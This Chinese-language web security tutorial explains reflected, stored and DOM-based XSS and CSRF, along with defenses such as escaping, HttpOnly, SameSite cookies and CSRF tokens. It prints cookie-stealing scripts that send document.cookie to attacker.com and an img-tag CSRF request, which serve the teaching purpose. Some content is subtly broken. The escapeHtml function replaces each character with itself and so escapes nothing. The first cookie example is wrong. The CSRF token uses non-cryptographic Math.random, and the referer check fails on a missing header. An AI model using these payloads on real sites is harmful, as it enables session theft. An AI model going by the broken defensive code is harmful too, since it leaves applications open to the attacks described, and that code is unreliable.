一、XSS
XSS,即跨站脚本攻击。是值攻击者在网站上注入恶意的客户端代码,通过恶意脚本对客户端网页进行篡改,从而在用户浏览网页时,对用户浏览器进行控制或者获取用户隐私数据的一种攻击方式。
比如在论坛上或者输入框内输入 "<alert>document.cookie</alert>"就可以拿到用户的cookie了,当你浏览到这段代码时。
定义:
1.反射型XSS
反射型XSS发生在用户请求的URL或表单数据中包含恶意脚本,服务器将这些数据未经处理直接返回给用户浏览器,导致恶意脚本在用户浏览器中执行。
示例
假设有一个搜索功能,用户可以通过URL参数进行搜索。攻击者构造一个包含恶意脚本的URL并诱使用户点击
<input type="text" value="<%= getParameter("keyword") %>"> <button>搜索</button> <div>您搜索的关键词是:<%= getParameter("keyword") %> </div>
<!-- 正常的搜索请求 --> https://example.com/search?q=keyword<!-- 恶意的搜索请求 --> https://example.com/search?q=<script>alert('XSS');</script>
如果服务器没有对q参数进行适当的转义或过滤,返回的HTML可能如下:
<div>您搜索的关键字是 <script>alert('XSS');</script></div>
当用户访问这个URL时,浏览器会执行 <script>alert('XSS')</script>,弹出一个警告框
2. 存储型XSS
存储型XSS发生在用户输入的恶意脚本被存储在服务器上,然后在其他用户访问相关页面时,这些脚本被返回并执行。
示例
假设有一个论坛,用户可以发布帖子。攻击者在帖子中插入恶意脚本
<!-- 正常的帖子内容 --> <p>This is a normal post.</p><!-- 恶意的帖子内容 --> <p><script>alert('XSS');</script></p>
如果服务器没有对用户输入进行适当的转义或过滤,当其他用户查看这个帖子时,浏览器会执行<script>alert</script>,弹出一个警告框。
3.给予DOM
基于DOM的XSS攻击是指通过恶意脚本修改页面的DOM结构,是纯粹发生在客户端的攻击。
示例
假设有一个页面使用javascript动态设置了某个元素的内容:
<!-- 页面代码 --> <div id="content"></div> <script>var content = location.hash.slice(1);document.getElementById('content').innerHTML = content; </script>
攻击者可以构造一个包含恶意脚本的URL并诱使用户点击:
<!-- 正常的 URL --> https://example.com/#Hello<!-- 恶意的 URL --> https://example.com/#<script>alert('XSS');</script>
当用户访问这个URL时,js会将 <script>alert('XSS')</script>插入到div元素中,弹出一个警告框
更复杂的XSS攻击示例
盗取cookie
攻击者可以使用XSS注入脚本来盗取用户的Cookie:
<!-- 恶意脚本 --> <script>document.write('<img src="https://attacker.com/steal?cookie=' + document.cookie + '" />'); </script>
当用户访问包含此恶意脚本的页面时,浏览器会发送一个请求到攻击者的服务器,携带用户的cookie信息
会话劫持
攻击者可以使用XSS注入脚本来劫持用户的会话
<!-- 恶意脚本 --> <script>fetch('https://attacker.com/steal', {method: 'POST',headers: {'Content-Type': 'application/json'},body: JSON.stringify({ token: document.cookie })}); </script>
当用户访问包含此恶意脚本的页面时,浏览器会向攻击者的服务器发送一个POST请求,携带用户的会话令牌。
解决方法:
1. 设置httpOnly防止劫取cookie,设置了httpOnly为true的cookie,js就访问不到cookie了。
2. 输入验证和过滤。对用户输入的HTML内容进行转移,将特殊字符转换为HTML实体
function escapeHtml(unsafe) {return unsafe.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">").replace(/"/g, """).replace(/'/g, "'"); }
使用安全模板引擎:许多现代模板引擎(如react、vue等)都有内置的转义机制,可以自动转义用户输入
// React 示例 const userComment = "<script>alert('XSS');</script>"; return <div>{userComment}</div>; // 自动转义
3. 输出检查。用户的输入会存在问题,服务端的输出也会存在问题。例如利用 sanitize-html 对输出内容进行有规则的过滤之后再输出到页面中。
这里思考一个问题,为什么输入检查了输出还需要检查呢?
a、输入过滤有局限性
a.1 过滤不完整:输入过滤可能遗漏某些特殊字符或编码方式,导致恶意脚本仍然能够注入
a.2 上下文依赖: 不同的输出上下文(如html,js,css,url)需要不同的转义方式。输入过滤可能无法覆盖所有这些上下文
a.3 第三方数据:输入数据可能来自多个源,包括数据库、外部API等,这些数据可能在输入时没有经历过充分的过滤。
二、CSRF
CSRF(跨站请求伪造),攻击者伪造用户的请求,利用用户在当前已登录的web应用程序中的身份执行非本意的操作。这种攻击利用了用户在目标网站上的身份验证状态,通常是在用户不知情的情况下发起的恶意请求。
示例1:删除帖子
假设有一个网站:http://www.c.com,当登录后的用户发起如下get请求时,会删除ID指定帖子:
http://www.c.com:8002/content/delete/:id
如发起http://www.c.com:8002/content/delete/123请求时,会删除id为123的帖子。当用户登录之后,会设置如下cookie:
res.setHeader('Set-Cookie', ['user=22333; expires=Sat, 21 Jul 2018 00:00:00 GMT;']);
user对应的值是用户ID,然后构造一个页面A:
<p>CSRF 攻击者准备的网站:</p> <img src="http://www.c.com:8002/content/delete/123">
当访问攻击者的网站时,会向www.c.com发起一个删除用户帖子的请求。此时若用户在切换到www.c.com的帖子页面刷新,会发现ID为123的帖子已经被删除。
这里提一嘴cookie的标准行为,当浏览器向某个网站发送HTTP请求时,如果该网站之前设置了cookie,并且这些cookie的域和路径与请求匹配,那么浏览器会自动将这些cookie包含在http请求头中的cookie字段里。一些cookie的知识点 - 飞向火星 - 博客园 (cnblogs.com)
解决方法:
1. same site cookie属性:设置cookie的samesite属性为strict或lax,这个以防止跨站点请求携带cookie。这个属性专门用来防止CSRF攻击和用户追踪。
2. 使用CSRF令牌(也可以理解为csrf_token):其基本思想是在每个表单中包含一个随机生成的令牌,该令牌在服务端进行验证
生成和存储令牌:服务端为每个用户会话生成一个唯一的CSRF令牌,并将其存储在用户的会话或cookie中。
嵌入令牌:将CSRF令牌嵌入到所有表单中作为隐藏字段,以及AJAX请求中作为参数。
验证令牌:当表单提交或AJAX请求到达服务器时,服务器检查令牌是否与存储的令牌匹配。如果不匹配,则拒绝请求.
示例代码:
<form action="/transfer" method="POST"><input type="hidden" name="csrf_token" value="{{ csrf_token }}"><!-- 其他表单字段 --><button type="submit">Submit</button> </form>
在服务端
const express = require('express'); const session = require('express-session'); const bodyParser = require('body-parser');const app = express();// 使用 body-parser 来解析请求体 app.use(bodyParser.urlencoded({ extended: true })); app.use(bodyParser.json());// 配置 session 中间件 app.use(session({secret: 'your_secret_key', // 用于签名 session ID cookie 的密钥resave: false,saveUninitialized: true,cookie: { secure: false } // 如果使用 HTTPS,则应设置为 true }));// 生成一个随机的 CSRF 令牌 function generateCSRFToken() {return Math.random().toString(36).substring(2, 15) + Math.random().toString(36).substring(2, 15); }// 设置 CSRF 令牌到 session app.get('/set-csrf-token', (req, res) => {req.session.csrf_token = generateCSRFToken();res.send({ csrf_token: req.session.csrf_token }); });// 处理转账请求并验证 CSRF 令牌 app.post('/transfer', (req, res) => {const csrfTokenFromForm = req.body.csrf_token;const csrfTokenFromSession = req.session.csrf_token;if (csrfTokenFromForm !== csrfTokenFromSession) {return res.status(403).send("Invalid CSRF token");}// 在这里处理转账逻辑res.send("Transfer successful"); });// 启动服务器 const PORT = process.env.PORT || 3000; app.listen(PORT, () => {console.log(`Server is running on port ${PORT}`); });
3. 验证HTTP请求头中的Origin和Referer
服务器可以通过检查HTTP请求头中的Origin和Referer字段来确定请求是否来自合法的来源。
Origin:表示请求的源地址
Referer:表示发起请求的页面的URL。
示例
from flask import request@app.route('/transfer', methods=['POST']) def transfer():origin = request.headers.get('Origin')referer = request.headers.get('Referer')if origin != 'https://example.com' or not referer.startswith('https://example.com'):return "Invalid request origin or referer", 403# 处理转账逻辑